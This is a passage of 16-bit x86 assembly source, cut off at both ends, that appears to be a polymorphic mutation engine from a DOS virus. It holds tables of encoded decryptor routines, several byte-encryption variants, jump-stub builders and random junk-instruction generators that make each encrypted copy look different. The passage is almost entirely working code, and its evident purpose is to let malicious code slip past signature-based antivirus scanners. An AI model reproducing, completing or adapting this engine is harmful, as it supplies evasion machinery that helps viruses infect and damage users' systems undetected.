; XCHG reg2,reg0 (0C)
|
|||
|
; INC reg0 (02)
|
|||
|
; INC reg2 (0D)
|
|||
|
; INC reg0 (02)
|
|||
|
; ADD reg7,1 (04)
|
|||
|
; INC reg0 (02)
|
|||
|
; INC reg0 (02)
|
|||
|
; MOV reg1,reg0 (0E)
|
|||
|
; INC reg2 (0D)
|
|||
|
; XCHG reg2,reg0 (0C)
|
|||
|
; AND reg1,reg1 (0F)
|
|||
|
; done (-1)
|
|||
|
db 41,2E,3F,9,80,0C0,20,0D0,20,40,20,20,0E0,0D0,0C0,0F0,-1
|
|||
|
|
|||
|
routine2: db 5
|
|||
|
; MOV reg0,CS (1)
|
|||
|
; MOV reg7,initial pointer (3)
|
|||
|
; MOV reg1,initial counter (4)
|
|||
|
; MOV DS,reg0 (2)
|
|||
|
; MOV reg0,encryption value (E)
|
|||
|
; XOR reg2,reg0 (F)
|
|||
|
; beginning of loop (0)
|
|||
|
; DEC reg1 (D)
|
|||
|
; XOR reg2,encryption value (7)
|
|||
|
; PUSH reg0 (0A)
|
|||
|
; PUSH [reg7+offset] (08)
|
|||
|
; POP reg0 (0B)
|
|||
|
; XCHG reg2,reg0 (0C)
|
|||
|
; POP reg0 (0B)
|
|||
|
; PUSH reg0 (0A)
|
|||
|
; SUB reg2,reg0 (07)
|
|||
|
; MOV [reg7+offset],reg2 (6)
|
|||
|
; INC reg7 (C)
|
|||
|
; MOV reg2,reg1 (8)
|
|||
|
; MOV reg2,reg1 (8)
|
|||
|
; INC reg2 (0D)
|
|||
|
; INC reg2 (0D)
|
|||
|
; XCHG reg2,reg0 (0C)
|
|||
|
; MOV reg1,reg0 (0E)
|
|||
|
; POP reg0 (0B)
|
|||
|
; INC reg0 (02)
|
|||
|
; AND reg1,reg1 (0F)
|
|||
|
; done (-1)
|
|||
|
db 13,42,0EF,0Dh,70,0A0,80,0B0,0C0,0B0,0A0,76,0C8,80,0D0
|
|||
|
db 0D0,0C0,0E0,0B0,20,0F0,-1
|
|||
|
|
|||
|
routineF: db 56
|
|||
|
; MOV reg7,initial pointer (3)
|
|||
|
; MOV reg1,initial counter (4)
|
|||
|
; MOV reg0,CS (1)
|
|||
|
; MOV DS,reg0 (2)
|
|||
|
; MOV DS,reg0 (2)
|
|||
|
; MOV reg0,encryption value (E)
|
|||
|
; beginning of loop (0)
|
|||
|
; MOV reg2,[reg7+offset] (5)
|
|||
|
; INC reg2 (0D)
|
|||
|
; ADD reg2,reg0 (06)
|
|||
|
; MOV [reg7+offset],reg2 (6)
|
|||
|
; MOV reg2,reg1 (8)
|
|||
|
; DEC reg0 (03)
|
|||
|
; XOR reg2,reg0 (F)
|
|||
|
; DEC reg1 (D)
|
|||
|
; INC reg7 (C)
|
|||
|
; DEC reg1 (D)
|
|||
|
; done (-1)
|
|||
|
db 34,12,2E,5,0D0,66,80,3F,0DC,0D0,-1
|
|||
|
|
|||
|
routine9: db 27
|
|||
|
; MOV reg1,initial counter (4)
|
|||
|
; MOV reg0,CS (1)
|
|||
|
; MOV reg7,initial pointer (3)
|
|||
|
; MOV DS,reg0 (2)
|
|||
|
; MOV reg0,encryption value (E)
|
|||
|
; XOR reg2,reg0 (F)
|
|||
|
; beginning of loop (0)
|
|||
|
; XOR [reg7],reg0 (9)
|
|||
|
; XOR reg2,reg0 (F)
|
|||
|
; ADD reg7,1 (04)
|
|||
|
; PUSH reg0 (0A)
|
|||
|
; MOV reg2,reg1 (8)
|
|||
|
; DEC reg1 (D)
|
|||
|
; INC reg2 (0D)
|
|||
|
; INC reg2 (0D)
|
|||
|
; INC reg2 (0D)
|
|||
|
; XCHG reg2,reg0 (0C)
|
|||
|
; MOV reg1,reg0 (0E)
|
|||
|
; POP reg0 (0B)
|
|||
|
; DEC reg0 (03)
|
|||
|
; AND reg1,reg1 (0F)
|
|||
|
; done (-1)
|
|||
|
db 41,32,0EF,9,0F0,40,0A8,0D0,0D0,0D0,0C0,0E0,0B0,30,0F0
|
|||
|
db -1
|
|||
|
|
|||
|
routine7: db 32
|
|||
|
; MOV reg1,initial counter (4)
|
|||
|
; MOV reg0,CS (1)
|
|||
|
; MOV reg7,initial pointer (3)
|
|||
|
; MOV DS,reg0 (2)
|
|||
|
; MOV reg0,encryption value (E)
|
|||
|
; XCHG reg2,reg0 (0C)
|
|||
|
; beginning of loop (0)
|
|||
|
; MOV reg2,reg1 (8)
|
|||
|
; DEC reg1 (D)
|
|||
|
; POP reg0 (0B)
|
|||
|
; XOR reg2,reg0 (F)
|
|||
|
; MOV [reg7+offset],reg2 (6)
|
|||
|
; DEC reg0 (03)
|
|||
|
; XCHG reg2,reg0 (0C)
|
|||
|
; ADD reg7,1 (04)
|
|||
|
; DEC reg1 (D)
|
|||
|
; done (-1)
|
|||
|
; return code 0 (0)
|
|||
|
db 41,32,0E0,0C0,8,0D0,0BF,60,30,0C0,4Dh,-1,0
|
|||
|
|
|||
|
routine5: db 11
|
|||
|
; MOV reg1,initial counter (4)
|
|||
|
; MOV reg7,initial pointer (3)
|
|||
|
; MOV reg0,CS (1)
|
|||
|
; MOV DS,reg0 (2)
|
|||
|
; MOV reg0,encryption value (E)
|
|||
|
; XOR reg2,reg0 (F)
|
|||
|
; beginning of loop (0)
|
|||
|
; NEG [reg7+offset] (A)
|
|||
|
; MOV reg2,[reg7+offset] (5)
|
|||
|
; XOR reg2,reg0 (F)
|
|||
|
; DEC reg1 (D)
|
|||
|
; DEC reg0 (03)
|
|||
|
; DEC reg0 (03)
|
|||
|
; XCHG reg2,reg0 (0C)
|
|||
|
; XCHG reg0,[reg7+offset] (01)
|
|||
|
; XCHG reg2,reg0 (0C)
|
|||
|
; ADD reg7,1 (04)
|
|||
|
; AND reg1,reg1 (0F)
|
|||
|
; done (-1)
|
|||
|
db 43,12,0EF,0A,5F,0D0,30,30,0C0,10,0C0,40,0F0,-1
|
|||
|
|
|||
|
routineB: db 66
|
|||
|
; MOV reg7,initial pointer (3)
|
|||
|
; MOV reg0,CS (1)
|
|||
|
; MOV reg1,initial counter (4)
|
|||
|
; MOV DS,reg0 (2)
|
|||
|
; MOV reg0,encryption value (E)
|
|||
|
; XOR reg2,reg0 (F)
|
|||
|
; beginning of loop (0)
|
|||
|
; PUSH reg0 (0A)
|
|||
|
; PUSH [reg7+offset] (08)
|
|||
|
; MOV reg2,reg1 (8)
|
|||
|
; MOV reg2,reg1 (8)
|
|||
|
; XCHG reg2,reg0 (0C)
|
|||
|
; INC reg0 (02)
|
|||
|
; INC reg0 (02)
|
|||
|
; INC reg0 (02)
|
|||
|
; INC reg0 (02)
|
|||
|
; MOV reg1,reg0 (0E)
|
|||
|
; POP reg0 (0B)
|
|||
|
; XCHG reg2,reg0 (0C)
|
|||
|
; POP reg0 (0B)
|
|||
|
; ADD reg2,reg0 (06)
|
|||
|
; PUSH reg0 (0A)
|
|||
|
; XCHG reg2,reg0 (0C)
|
|||
|
; PUSH reg0 (0A)
|
|||
|
; POP [reg7+offset] (09)
|
|||
|
; POP reg0 (0B)
|
|||
|
; DEC reg0 (03)
|
|||
|
; INC reg7 (C)
|
|||
|
; XOR reg2,reg0 (F)
|
|||
|
; AND reg1,reg1 (0F)
|
|||
|
; done (-1)
|
|||
|
db 31,42,0EF,0,0A0,88,80,0C0,20,20,20,20,0E0,0B0,0C0,0B0
|
|||
|
db 60,0A0,0C0,0A0,90,0B0,3C,0F0,0F0,-1
|
|||
|
|
|||
|
routine3: db 4
|
|||
|
; MOV reg0,CS (1)
|
|||
|
; MOV DS,reg0 (2)
|
|||
|
; MOV reg0,encryption value (E)
|
|||
|
; MOV reg2,reg1 (8)
|
|||
|
; MOV reg1,initial counter (4)
|
|||
|
; MOV reg7,initial pointer (3)
|
|||
|
; beginning of loop (0)
|
|||
|
; MOV reg2,reg1 (8)
|
|||
|
; DEC reg1 (D)
|
|||
|
; INC reg2 (0D)
|
|||
|
; XCHG reg2,reg0 (0C)
|
|||
|
; MOV reg1,reg0 (0E)
|
|||
|
; XCHG reg2,reg0 (0C)
|
|||
|
; XOR [reg7],reg0 (9)
|
|||
|
; INC reg7 (C)
|
|||
|
; INC reg0 (02)
|
|||
|
; INC reg0 (02)
|
|||
|
; AND reg1,reg1 (0F)
|
|||
|
; done (-1)
|
|||
|
db 12,0E8,43,8,0D0,0D0,0C0,0E0,0C9,0C0,20,20
|
|||
|
db 0F0,-1
|
|||
|
|
|||
|
routineD: db 73
|
|||
|
; MOV reg7,initial pointer (3)
|
|||
|
; MOV reg0,CS (1)
|
|||
|
; MOV reg1,initial counter (4)
|
|||
|
; MOV DS,reg0 (2)
|
|||
|
; MOV reg0,encryption value (E)
|
|||
|
; MOV reg1,initial counter (4)
|
|||
|
; beginning of loop (0)
|
|||
|
; DEC reg1 (D)
|
|||
|
; DEC reg1 (D)
|
|||
|
; DEC reg1 (D)
|
|||
|
; NOT [reg7+offset] (B)
|
|||
|
; PUSH reg0 (0A)
|
|||
|
; PUSH [reg7+offset] (08)
|
|||
|
; POP reg0 (0B)
|
|||
|
; XCHG reg2,reg0 (0C)
|
|||
|
; POP reg0 (0B)
|
|||
|
; XOR reg2,reg0 (F)
|
|||
|
; MOV [reg7+offset],reg2 (6)
|
|||
|
; INC reg0 (02)
|
|||
|
; ADD reg7,1 (04)
|
|||
|
; INC reg0 (02)
|
|||
|
; SUB reg1,1 (05)
|
|||
|
; done (-1)
|
|||
|
db 31,42,0E4,0Dh,0DDh,0B0,0A0,80,0B0,0C0,0BF,60,20,40,20
|
|||
|
db 50,-1
|
|||
|
|
|||
|
routine0: db 20
|
|||
|
; MOV reg0,encryption value (E)
|
|||
|
; XCHG reg2,reg0 (0C)
|
|||
|
; MOV reg0,CS (1)
|
|||
|
; MOV reg7,initial pointer (3)
|
|||
|
; MOV DS,reg0 (2)
|
|||
|
; MOV reg1,initial counter (4)
|
|||
|
; beginning of loop (0)
|
|||
|
; XCHG reg0,[reg7+offset] (01)
|
|||
|
; XCHG reg2,reg0 (0C)
|
|||
|
; XOR reg2,reg0 (F)
|
|||
|
; DEC reg1 (D)
|
|||
|
; XCHG reg2,reg0 (0C)
|
|||
|
; XCHG reg0,[reg7+offset] (01)
|
|||
|
; XCHG reg2,reg0 (0C)
|
|||
|
; MOV reg2,reg1 (8)
|
|||
|
; INC reg7 (C)
|
|||
|
; INC reg2 (0D)
|
|||
|
; INC reg2 (0D)
|
|||
|
; INC reg2 (0D)
|
|||
|
; INC reg0 (02)
|
|||
|
; XCHG reg2,reg0 (0C)
|
|||
|
; MOV reg1,reg0 (0E)
|
|||
|
; AND reg1,reg1 (0F)
|
|||
|
; done (-1)
|
|||
|
; return code 0 (0)
|
|||
|
db 0E0,0C1,32,40,0,10,0CF,0D0,0C0,10,0C8,0C0,0D0,0D0,0D0
|
|||
|
db 20,0C0,0E0,0F0,-1,0
|
|||
|
|
|||
|
routine6: db 55
|
|||
|
; MOV reg1,initial counter (4)
|
|||
|
; MOV reg7,initial pointer (3)
|
|||
|
; MOV reg0,CS (1)
|
|||
|
; MOV DS,reg0 (2)
|
|||
|
; MOV reg0,encryption value (E)
|
|||
|
; MOV reg7,initial pointer (3)
|
|||
|
; beginning of loop (0)
|
|||
|
; MOV reg2,[reg7+offset] (5)
|
|||
|
; DEC reg1 (D)
|
|||
|
; SUB reg2,reg0 (07)
|
|||
|
; INC reg0 (02)
|
|||
|
; SUB reg1,1 (05)
|
|||
|
; MOV [reg7+offset],reg2 (6)
|
|||
|
; INC reg7 (C)
|
|||
|
; DEC reg1 (D)
|
|||
|
; done (-1)
|
|||
|
db 43,12,0E3,5,0D0,70,20,56,0CDh,-1
|
|||
|
|
|||
|
routineA: db 47
|
|||
|
; MOV reg0,encryption value (E)
|
|||
|
; MOV reg7,initial pointer (3)
|
|||
|
; MOV reg1,initial counter (4)
|
|||
|
; XCHG reg2,reg0 (0C)
|
|||
|
; MOV reg0,CS (1)
|
|||
|
; MOV DS,reg0 (2)
|
|||
|
; beginning of loop (0)
|
|||
|
; PUSH [reg7+offset] (08)
|
|||
|
; POP reg0 (0B)
|
|||
|
; XCHG reg2,reg0 (0C)
|
|||
|
; XOR reg2,reg0 (F)
|
|||
|
; MOV [reg7+offset],reg2 (6)
|
|||
|
; MOV reg2,reg1 (8)
|
|||
|
; DEC reg1 (D)
|
|||
|
; DEC reg0 (03)
|
|||
|
; INC reg2 (0D)
|
|||
|
; INC reg2 (0D)
|
|||
|
; INC reg2 (0D)
|
|||
|
; XCHG reg2,reg0 (0C)
|
|||
|
; MOV reg1,reg0 (0E)
|
|||
|
; ADD reg7,1 (04)
|
|||
|
; AND reg1,reg1 (0F)
|
|||
|
; done (-1)
|
|||
|
; return code 0 (0)
|
|||
|
db 0E3,40,0C1,20,0,80,0B0,0CF,68,0D0,30,0D0,0D0,0D0,0C0
|
|||
|
db 0E0,40,0F0,-1,0
|
|||
|
|
|||
|
crypt_table dw offset crypt0
|
|||
|
dw offset crypt1
|
|||
|
dw offset crypt2
|
|||
|
dw offset crypt3
|
|||
|
dw offset crypt4
|
|||
|
dw offset crypt5
|
|||
|
dw offset crypt6
|
|||
|
dw offset crypt7
|
|||
|
|
|||
|
jmp_table dw offset jmp0
|
|||
|
dw offset jmp1
|
|||
|
dw offset jmp2
|
|||
|
dw offset jmp3
|
|||
|
|
|||
|
routine_table: dw offset routine0
|
|||
|
dw offset routine1
|
|||
|
dw offset routine2
|
|||
|
dw offset routine3
|
|||
|
dw offset routine4
|
|||
|
dw offset routine5
|
|||
|
dw offset routine6
|
|||
|
dw offset routine7
|
|||
|
dw offset routine8
|
|||
|
dw offset routine9
|
|||
|
dw offset routineA
|
|||
|
dw offset routineB
|
|||
|
dw offset routineC
|
|||
|
dw offset routineD
|
|||
|
dw offset routineE
|
|||
|
dw offset routineF
|
|||
|
|
|||
|
encrypt: cld
|
|||
|
push bx si
|
|||
|
mov bl,[bp.crypt_type] ; get encryption type
|
|||
|
db 83,0E3,0F ; and bx,0F
|
|||
|
add bx,bx
|
|||
|
add bx,offset crypt_table ; convert to offset
|
|||
|
mov di,[bp.targetptr] ; set up loop
|
|||
|
mov si,[bp.sourceptr]
|
|||
|
mov cx,[bp.datasize]
|
|||
|
mov dl,[bp.cryptval]
|
|||
|
encrypt_byte: lodsb
|
|||
|
call word ptr [bx]
|
|||
|
stosb
|
|||
|
loop encrypt_byte
|
|||
|
pop si bx
|
|||
|
retn
|
|||
|
|
|||
|
crypt0: xor al,dl
|
|||
|
inc dl
|
|||
|
retn
|
|||
|
|
|||
|
crypt2: xor dl,al
|
|||
|
mov al,dl
|
|||
|
dec dl
|
|||
|
retn
|
|||
|
|
|||
|
crypt3: not al
|
|||
|
crypt4: xor al,dl
|
|||
|
inc dl
|
|||
|
inc dl
|
|||
|
retn
|
|||
|
|
|||
|
crypt1: xor al,dl
|
|||
|
neg al
|
|||
|
dec dl
|
|||
|
dec dl
|
|||
|
retn
|
|||
|
|
|||
|
crypt5: add al,dl
|
|||
|
inc dl
|
|||
|
retn
|
|||
|
|
|||
|
crypt6: sub al,dl
|
|||
|
dec dl
|
|||
|
retn
|
|||
|
|
|||
|
crypt7: xor al,dl
|
|||
|
dec dl
|
|||
|
retn
|
|||
|
|
|||
|
counterinit0: neg ax
|
|||
|
counterinit1: retn
|
|||
|
|
|||
|
counterinit2: neg ax
|
|||
|
counterinit3: add ax,ax
|
|||
|
retn
|
|||
|
|
|||
|
counterinit4: neg ax
|
|||
|
counterinit5: mov cx,ax
|
|||
|
add ax,ax
|
|||
|
add ax,cx
|
|||
|
retn
|
|||
|
|
|||
|
counterinit6: neg ax
|
|||
|
counterinit7: add ax,ax
|
|||
|
add ax,ax
|
|||
|
retn
|
|||
|
|
|||
|
jmp0: mov al,0E9 ; encode a JMP
|
|||
|
stosb ; (with word offset)
|
|||
|
mov ax,di ; calculate offset to
|
|||
|
sub ax,[bp.loop_top] ; top of decryption loop
|
|||
|
inc ax ; adjust for jmp instruction
|
|||
|
inc ax
|
|||
|
neg ax ; adjust for going back instead
|
|||
|
retn ; of forwards
|
|||
|
|
|||
|
jmp1: mov ax,0E0FF ; encode JMP register
|
|||
|
or ah,[si]
|
|||
|
retn
|
|||
|
|
|||
|
jmp2: mov ax,0C350 ; encode PUSH/RETn
|
|||
|
jmpXdone: or al,[si]
|
|||
|
retn
|
|||
|
|
|||
|
jmp3: mov al,0E ; encode PUSH CS
|
|||
|
stosb
|
|||
|
call garble_some ; garble a bit
|
|||
|
mov ax,0CB50 ; encode PUSH reg/RETN
|
|||
|
jmp short jmpXdone
|
|||
|
|
|||
|
encode_routine: call rnd_get ; pick a random routine
|
|||
|
mov bx,offset routine_table ; to use
|
|||
|
and ax,0F
|
|||
|
add ax,ax
|
|||
|
add bx,ax
|
|||
|
mov si,[bx]
|
|||
|
lodsb ; get the first byte
|
|||
|
mov [bp.crypt_type],al ; and save it
|
|||
|
jmp short encode_routine2 ; keep going...
|
|||
|
|
|||
|
encode_it: lodsb ; get the next byte
|
|||
|
cmp ah,-1 ; are we done?
|
|||
|
je use_as_is ; if so, exit
|
|||
|
xor bh,bh ; convert AL to
|
|||
|
add al,al ; offset in encode_table
|
|||
|
mov bl,al
|
|||
|
add bx,offset encode_table
|
|||
|
mov al,dh
|
|||
|
mov cx,3
|
|||
|
call word ptr [bx] ; call the routine
|
|||
|
xchg ah,al
|
|||
|
stosb ; write the resulting byte
|
|||
|
use_as_is: retn
|
|||
|
|
|||
|
fill_mod_field: ror al,cl
|
|||
|
fill_field: and al,7 ; get the register # al
|
|||
|
mov bx,bp
|
|||
|
db 83,0C3,06 ; add bx,6
|
|||
|
xlat
|
|||
|
rol al,cl
|
|||
|
and cl,cl ; encoding rm or reg?
|
|||
|
jnz not_memory ; branch if doing rm
|
|||
|
test dh,40 ; memory access?
|
|||
|
jz not_memory
|
|||
|
cmp al,3 ; using bx?
|
|||
|
jne not_BX
|
|||
|
mov al,7 ; change it to di
|
|||
|
jmp short not_memory
|
|||
|
not_BX: cmp al,6 ; is it si?
|
|||
|
jb not_memory
|
|||
|
sub al,2 ; change it to double register
|
|||
|
not_memory: or ah,al
|
|||
|
retn
|
|||
|
|
|||
|
fill_reg_reg1: ror al,cl ; [reg], reg
|
|||
|
fill_reg_field: xor cl,cl ; fill bottom 3 bits only
|
|||
|
jmp short fill_field
|
|||
|
|
|||
|
fill_mod_n_reg: call fill_mod_field ; fill mod field as usual
|
|||
|
mov al,dh ; fill reg field with the
|
|||
|
jmp short fill_reg_field ; register that holds the
|
|||
|
; data to be decrypted
|
|||
|
fill_reg_reg2: call fill_field
|
|||
|
mov al,dh
|
|||
|
jmp short fill_reg_reg1
|
|||
|
|
|||
|
encode_routine2:mov word ptr [bp.which_tbl],offset encode_tbl1 - 6
|
|||
|
process_all: lodsb ; get a byte
|
|||
|
cmp al,-1 ; are we at the end?
|
|||
|
jne process_byte ; no, keep going
|
|||
|
lodsb ; else get returncode and exit
|
|||
|
retn
|
|||
|
|
|||
|
process_byte: push si ax
|
|||
|
mov cl,4
|
|||
|
call process_nibble
|
|||
|
xor cl,cl
|
|||
|
pop ax
|
|||
|
call process_nibble
|
|||
|
pop si
|
|||
|
jmp short process_all
|
|||
|
|
|||
|
process_nibble: ror al,cl ; only use the part of
|
|||
|
and ax,0F ; the byte that we want
|
|||
|
jnz no_switch_table
|
|||
|
and cl,cl ; if the lower half of byte=0,
|
|||
|
jz switch_tables ; switch tables
|
|||
|
mov [bp.loop_top],di ; otherwise save this location
|
|||
|
retn ; as the top of the loop
|
|||
|
|
|||
|
switch_tables: mov word ptr [bp.which_tbl],offset encode_tbl2 - 6
|
|||
|
retn
|
|||
|
|
|||
|
no_switch_table:push ax
|
|||
|
call garble_more
|
|||
|
pop ax
|
|||
|
add ax,ax ; calculate AX*6+[bp.which_tbl]
|
|||
|
mov bx,ax
|
|||
|
add ax,ax
|
|||
|
add ax,bx
|
|||
|
add ax,[bp.which_tbl]
|
|||
|
mov word ptr [bp.which_tbl],offset encode_tbl1 - 6
|
|||
|
xchg si,ax
|
|||
|
lodsb
|
|||
|
mov dh,al ; dh holds first byte
|
|||
|
lodsb
|
|||
|
xchg ah,al ; ah holds second byte
|
|||
|
call encode_it ; process it
|
|||
|
lodsb ; now ah holds the next byte
|
|||
|
xchg ah,al
|
|||
|
call encode_it ; process it
|
|||
|
|
|||
|
lodsb ; get the next byte
|
|||
|
mov dl,al ; it tells us which
|
|||
|
and ax,0F ; value to write in
|
|||
|
add ax,ax ; this is the modifier
|
|||
|
add ax,offset write_table ; i.e. pointer, encryption
|
|||
|
xchg bx,ax ; value, etc.
|
|||
|
jmp word ptr [bx]
|
|||
|
|
|||
|
write_nothing: retn
|
|||
|
|
|||
|
write_cryptval: mov al,[bp.cryptval]
|
|||
|
stosb
|
|||
|
retn
|
|||
|
|
|||
|
write_pointer_patch: ; save location of pointer initialisation
|
|||
|
mov [bp.pointer_patch],di
|
|||
|
stosw
|
|||
|
retn
|
|||
|
|
|||
|
write_counter_patch: ; save location of counter initialisation
|
|||
|
mov [bp.counter_patch],di
|
|||
|
stosw
|
|||
|
retn
|
|||
|
|
|||
|
write_ptr_offset: ; write XXXX of [bx+XXXX]
|
|||
|
mov ax,[bp.ptr_offsets]
|
|||
|
mov [bp.pointer_fixup],ax
|
|||
|
stosw
|
|||
|
retn
|
|||
|
|
|||
|
write_dl: mov al,dl ; write lower half of top
|
|||
|
mov cl,4 ; byte of dl as a word
|
|||
|
shr al,cl ; used as amount to increment
|
|||
|
and ax,0F
|
|||
|
stosw
|
|||
|
retn
|
|||
|
|
|||
|
garble_some: push si
|
|||
|
mov dx,3 ; garble 2-5 times
|
|||
|
call multiple_garble
|
|||
|
pop si
|
|||
|
retn
|
|||
|
|
|||
|
garble_more: mov dx,7
|
|||
|
multiple_garble:call rnd_get
|
|||
|
and ax,dx
|
|||
|
inc ax
|
|||
|
inc ax
|
|||
|
xchg cx,ax
|
|||
|
garble_again: push cx ; save garble count
|
|||
|
call garble_once ; garble
|
|||
|
pop cx ; restore garble count
|
|||
|
loop garble_again
|
|||
|
|
|||
|
cmp [bp.cJMP_patch],cx ; cJMP_patch == 0? i.e. is
|
|||
|
je skip_finish_cJMP ; there an unfinished cJMP?
|
|||
|
call finish_cJMP ; if so, finish it
|
|||
|
skip_finish_cJMP:call many_nonbranch_garble ; garble garble
|
|||
|
mov bx,[bp.nJMP_patch] ; check if pending nJMP
|
|||
|
and bx,bx
|
|||
|
jnz loc_0047 ; if so, keep going
|
|||
|
retn
|
|||
|
loc_0047: ; xref 4028:0996
|
|||
|
mov al,0C3 ; encode a RETN
|
|||
|
stosb
|
|||
|
mov ax,di
|
|||
|
sub ax,bx
|
|||
|
dec ax
|
|||
|
dec ax
|
|||
|
mov [bx],ax
|
|||
|
mov [bp.CALL_patch],bx
|
|||
|
mov word ptr [bp.nJMP_patch],0
|
|||
|
|
|||
|
many_nonbranch_garble:
|
|||
|
call rnd_get ; do large instruction
|
|||
|
and ax,3 ; garble from 3 to 6 times
|
|||
|
add al,3
|
|||
|
xchg cx,ax
|
|||
|
many_nonbranch_garble_loop:
|
|||
|
push cx
|
|||
|
call not_branch_garble
|
|||
|
pop cx
|
|||
|
loop many_nonbranch_garble_loop
|
|||
|
|
|||
|
retn
|
|||
|
|
|||
|
; finish_cJMP simply encodes a few instructions between the conditional
|
|||
|
; jmp and its target, and then sets the destination of the jmp to be after
|
|||
|
; the inserted instructions.
|
|||
|
finish_cJMP: mov ax,di ; get current location
|
|||
|
mov bx,[bp.cJMP_patch] ; get previous location
|
|||
|
sub ax,bx
|
|||
|
dec al ; calculate offset
|
|||
|
jnz go_patch_cJMP ; if nothing in between,
|
|||
|
call not_branch_garble ; fill in some instructions
|
|||
|
jmp short finish_cJMP ; and do this again
|
|||
|
go_patch_cJMP: cmp ax,7F ; are we close enough?
|
|||
|
jbe patch_cJMP ; if so, finish this now
|
|||
|
xor al,al ; if not, encode cJMP $+2
|
|||
|
patch_cJMP: mov [bx],al ; patch the cJMP destination
|
|||
|
mov word ptr [bp.cJMP_patch],0 ; clear usage flag
|
|||
|
retn
|
|||
|
|
|||
|
set_reg_mask: and cl,0F8 ; clear bottom 3 bits
|
|||
|
mov bx,bp
|
|||
|
db 83,0C3,6 ; add bx,6
|
|||
|
mov dh,7 ; assume one of 8 registers
|
|||
|
test dl,4 ; can we use any register?
|
|||
|
jnz set_reg_mask_exit ; if so, quit
|
|||
|
db 83,0C3,3 ; add bx,3 ; otherwise, set mask so we
|
|||
|
mov dh,3 ; only choose from regs 3-6
|
|||
|
set_reg_mask_exit:
|
|||
|
retn
|
|||
|
|
|||
|
choose_register:call rnd_get ; get random number
|
|||
|
xor ah,ah ; clear high byte
|
|||
|
and al,dh ; use mask from set_reg_mask
|
|||
|
add bx,ax
|
|||
|
mov al,[bx] ; get the register number
|
|||
|
test ch,1 ; byte or word register?
|
|||
|
jnz choose_reg_done ; if word, we are okay
|
|||
|
test byte ptr [si-2],4 ; otherwise, check if we can
|
|||
|
jnz choose_reg_done ; take only half the register
|
|||
|
mov ah,al ; uh oh, we can't, so...
|
|||
|
and al,3 ; is it one of the garbage
|
|||
|
cmp al,[bp+9] ; registers?
|
|||
|
mov al,ah ; if so, we are done
|
|||
|
jz choose_reg_done
|
|||
|
mov al,[bp+9]
|
|||
|
cmp al,4 ; ax,cx,dx, or bx?
|
|||
|
jb werd ; to yer muthah!
|
|||
|
pop ax ; pop off return location
|
|||
|
retn ; go to caller's caller
|
|||
|
|
|||
|
werd: and ah,4 ; make either byte or word
|
|||
|
or al,ah ; register
|
|||
|
choose_reg_done:retn
|
|||
|
|
|||
|
garble_once: call rnd_get
|
|||
|
cmp ah,0C8 ; randomly go to either
|
|||
|
jbe other_garble ; here ...
|
|||
|
jmp branch_garble ; ... or here
|
|||
|
|
|||
|
not_branch_garble:
|
|||
|
call rnd_get
|
|||
|
other_garble: cmp al,0F0
|
|||
|
jbe larger_instr ; mostly do larger instructions
|
|||
|
jmp do_one_byte ; 1/16 chance
|
|||
|
|
|||
|
larger_instr: and ax,1F ; normalise random number
|
|||
|
cmp al,[bp.lastgarble] ; is it the same as before?
|
|||
|
je not_branch_garble ; then try again, since we
|
|||
|
; don't want two of the same
|
|||
|
; sort in a row
|
|||
|
mov [bp.lastgarble],al ; else remember this one
|
|||
|
add ax,ax ; and process it
|
|||
|
add ax,offset garble_table
|
|||
|
xchg si,ax
|
|||
|
lodsw ; get table entry
|
|||
|
xchg cx,ax ; keep it in CX
|
|||
|
mov dl,cl ; pick out the bottom
|
|||
|
and dl,3 ; mask out low 2 bits
|
|||
|
call rnd_get
|
|||
|
and al,3 ; this line unnecessary
|
|||
|
and al,dl ; patch it into the top
|
|||
|
or ch,al ; byte for variable opcodes
|
|||
|
; (e.g. allows byte & word
|
|||
|
; forms of opcode to use the
|
|||
|
; same table entry)
|
|||
|
mov dl,cl
|
|||
|
and dl,0C0 ; mask out mod field
|
|||
|
cmp dl,0C0 ; does it indicate register
|
|||
|
mov dl,cl ; operation? i.e. 2 regs
|
|||
|
jz no_memory ; if so, branch
|
|||
|
call set_reg_mask ; otherwise, process memory
|
|||
|
call rnd_get ; and register operation
|
|||
|
and al,0C0 ; clear all but top 2 bits
|
|||
|
or cl,al ; fill in the field
|
|||
|
rol al,1
|
|||
|
rol al,1
|
|||
|
mov dl,al
|
|||
|
call rnd_get ; generate the registers to use
|
|||
|
and al,7 ; in memory access,i.e. [bx+si]
|
|||
|
or cl,al ; patch into 2nd byte of instr
|
|||
|
cmp dl,3
|
|||
|
je fill_in_rm
|
|||
|
cmp al,6
|
|||
|
jne force_byte
|
|||
|
mov dl,2 ; alter mask to choose AX or DX
|
|||
|
and cl,3F
|
|||
|
jmp short fill_in_rm
|
|||
|
|
|||
|
force_byte: and ch,not 1 ; change to byte data
|
|||
|
; "byte sized"
|
|||
|
fill_in_rm: call choose_register ; move register into
|
|||
|
shl al,1 ; the rm field
|
|||
|
shl al,1
|
|||
|
shl al,1
|
|||
|
finish_larger: or cl,al ; combine data
|
|||
|
xchg cx,ax ; move it to the right register
|
|||
|
xchg ah,al ; reverse byte order
|
|||
|
stosw ; write the instruction
|
|||
|
and dl,dl ; needs data bytes?
|
|||
|
jnz needs_data
|
|||
|
retn
|
|||
|
|
|||
|
needs_data: cmp dl,3 ; check length of instruction
|
|||
|
jne do_data_bytes
|
|||
|
retn
|
|||
|
|
|||
|
do_data_bytes: call rnd_get ; keep the random number
|
|||
|
and al,3F ; under 40h
|
|||
|
stosb ; write the byte
|
|||
|
dec dl ; decrement bytes to write
|
|||
|
jnz do_data_bytes
|
|||
|
retn
|
|||
|
|
|||
|
no_memory: call set_reg_mask
|
|||
|
call choose_register
|
|||
|
mov ah,ch ; get the opcode and clear the
|
|||
|
and ah,0FE ; size bit for now
|
|||
|
cmp ah,0F6
|
|||
|
jne not_NOT_NEG
|
|||
|
test cl,10 ; is it TEST instruction?
|
|||
|
jz not_NOT_NEG ; if it is, go find the number
|
|||
|
; of data bytes it needs, else
|
|||
|
; it is NOT or NEG, so there're
|
|||
|
no_data_bytes: xor dl,dl ; no data bytes
|
|||
|
jmp short finish_larger
|
|||
|
|
|||
|
not_NOT_NEG: and ah,0FC ; is it a shift or rotate?
|
|||
|
cmp ah,0D0
|
|||
|
jne set_data_length ; if not, calculate # data
|
|||
|
; bytes needed, else
|
|||
|
jmp short no_data_bytes ; we don't need any
|
|||
|
|
|||
|
set_data_length:test ch,1 ; byte or word of data?
|
|||
|
mov dl,2 ; assume word
|
|||
|
jnz finish_larger ; continue if so
|
|||
|
dec dl ; DEC DX is better!!!
|
|||
|
jmp short finish_larger ; otherwise adjust to data
|
|||
|
|
|||
|
do_one_byte: and al,7
|
|||
|
mov bx,offset onebyte_table
